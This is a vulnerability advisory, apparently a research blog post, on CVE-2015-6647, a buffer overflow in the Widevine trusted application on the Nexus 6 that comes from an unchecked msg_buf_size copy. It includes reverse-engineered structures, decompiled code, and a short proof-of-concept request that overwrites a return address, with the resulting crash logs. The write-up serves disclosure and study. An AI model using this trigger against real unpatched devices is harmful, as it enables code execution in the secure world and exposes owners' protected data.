CVE-2015-6647:
Buffer Overflow in Widevine Trustlet (PRDiagClearProvisioning @ 0x583c)

CVE:

CVE-2015-6647

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

Google

Last edited: 11/04/23

1. Description

Note

While we were researching for potential vulnerabilities in the Widevine Trusted Application, we came across the bug described in this blog entry, among others. Upon further investigation, it turns out that this particular CVE was previously requested by Google. Nonetheless, the following article may serve to provide some additional information about the vulnerability.

This entry describes a vulnerability in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

2. Affected Versions

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N), 6.0.0 (MRA58K), 6.0.0 (MRA58N), 6.0.0 (MRA58R), 6.0.0 (MRA58X), 7.0.0 (NBD90Z), 7.0.0 (NBD91P), 7.0.0 (NBD91U), 7.0.0 (NBD91X), 7.0.0 (NBD91Y), 7.0.0 (NBD91Z), 7.0.0 (NBD92F), 7.0.0 (NBD92G), 7.1.1 (N6F26Q), 7.1.1 (N6F26R), 7.1.1 (N6F26U), 7.1.1 (N6F27C), 7.1.1 (N6F27E).

3. Impact

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

4. Vulnerability

The bug is present in Widevine’s PRDiagClearProvisioning() command. This command closely resembles PRDiagVerifyProvisioning(), which has been featured in other blog entries (refer to CVE-2022-48335).

The following snippet shows a switch-case present in the TA’s command handler:

switch(*req_buf) {
case 0x50003: // PRDiagMaintenanceHandler
    if ((0x2807 < req_buf_size) && (7 < resp_buf_size)) {
        ret = PRDiagMaintenanceHandler(req_buf + 2, req_buf[1]);
        ...
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50003, it jumps to the PRDiagMaintenanceHandler() function. This function handles two sub-commands: PRDiagVerifyProvisioning and PRDiagClearProvisioning.

The structure of the Request Buffer for the PRDiagMaintenanceHandler() function is the following:

struct widevine_PRDiagMaintenanceHandler_cmd {
        uint32_t cmd_id;
        uint32_t payload_size;
        struct widevine_PRDiagMaintenanceHandler_payload payload;
};

It contains an embedded structure and an integer indicating its size. The embedded structure is defined in the following code-block:

// Internal payload/request buffer for PRDiagMaintenanceHandler command
struct widevine_PRDiagMaintenanceHandler_payload {
        enum {
                op_PRDiagVerifyProvisioning    = 0,
                op_PRDiagClearProvisioning     = 1,
                PRDiagMH_FORCE_ENUM_32_BITS = (INT_MAX | ~INT_MAX),
        } op;
        uint32_t compare_flag;
        uint32_t msg_buf_size;
        uint32_t data_len;
        // The buffer containing the input data for the PRDiagClearProvisioning function.
        // This data could be related to provisioning information, cryptographic keys,
        // or other DRM-related metadata.
        // NOTE: The widevine trustlet checks the size of the request buffer
        // containing the widevine_PRDiagMaintenanceHandler_cmd structure.
        // The entire request buffer must have at least 0x2808 bytes
        char msg_buf[];
};

The relevant parts are the op value indicating the sub-command to be executed (either PRDiagVerifyProvisioning or PRDiagClearProvisioning), an input buffer called msg_buf and its size, stored in msg_buf_size.

The PRDiagMaintenanceHandler function simply copies the payload/request into a temporary heap buffer and passes it to the corresponding sub-command:

int PRDiagMaintenanceHandler(void *payload, uint32_t payload_size) {
     struct widevine_PRDiagMaintenanceHandler_payload *req;

     if (!payload || !payload_size) return 0x10;

     req = malloc(payload_size);
     if (!req) return 0xf;

     memcpy(req, payload, payload_size);
     if (req->op == 0) {
         PRDiagVerifyProvisioning(req);
     }
     else if (req->op == 1) {
         PRDiagClearProvisioning(req);
     }
     ...

For this bug, let’s focus on the PRDiagClearProvisioning sub-command. The main functionality of this function is to clear/remove provisioning data previously stored in the Secure File System (SFS).

The following code snippet shows a simplified version of the PRDiagClearProvisioning function:

int PRDiagClearProvisioning(struct widevine_PRDiagMaintenanceHandler_payload *req) {
    // Check input and operation
    if (!req || req->op != 1 || !req->msg_buf || req->data_len) return 0x10;

    msg_buf_size = req->msg_buf_size;
    msg_buf = &req->msg_buf;
    ...
    memzero(&filePathBuffer, 0x80);
    memcpy(&filePathBuffer, msg_buf, msg_buf_size);
    ...

The function first performs some validations on the input and the operation being requested and then directly copies the user-controlled msg_buf into a buffer in the data segment (0x2e0fc). The contents and size of this buffer are directly specified by the client through the Request Buffer.

The hardcoded value of the memzero suggests that the size of this buffer is 128 bytes. However, since msg_buf_size is not being checked, this copy operation can cause a buffer overflow:

_images/widevine-memory-583c.svg

This vulnerability allows an attacker to overwrite important data structures such as the stack and heap, since they are in higher addresses within this same data segment.

5. Exploitation

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req->cmd_id = 0x50003;  // PRDiagMaintenanceHandler
req->payload.op = 1;    // PRDiagClearProvisioning
req->payload.msg_buf_size = 0x1658;
// 0x1658 overwrites return address in the stack
...
memset(req->payload.msg_buf, 'A', req->payload.msg_buf_size);

The Commmand ID 0x50003 is specified to invoke PRDiagMaintenanceHandler(), and the PRDiagClearProvisioning operation is being specified. In addition, msg_buf_size is set to 0x1658 so that it overflows the data buffer and ends up overwriting the return address in the stack and thus give us control over the execution flow:

<5>widevine: "PRDiagMaintenanceHandler: pTzMsg 0xfff00008, reqlen 10240"
<5>widevine: "PRDiagClearProvisioning: begins!"
*** crash @ 0x41414140 ***

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP_FAULTED. In this case, Widevine crashes because it ends up jumping to the address 0x41414140 coming from our msg_buf buffer.

<4>QSEECOM: qseecom_load_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom_load_app: App with id 3 (widevine) now loaded
<3>QSEECOM: __qseecom_send_cmd: Response result -1 not supported
<3>QSEECOM: qseecom_ioctl: failed qseecom_send_cmd: -22
<4>QSEECOM: qseecom_unload_app: App id 3 now unloaded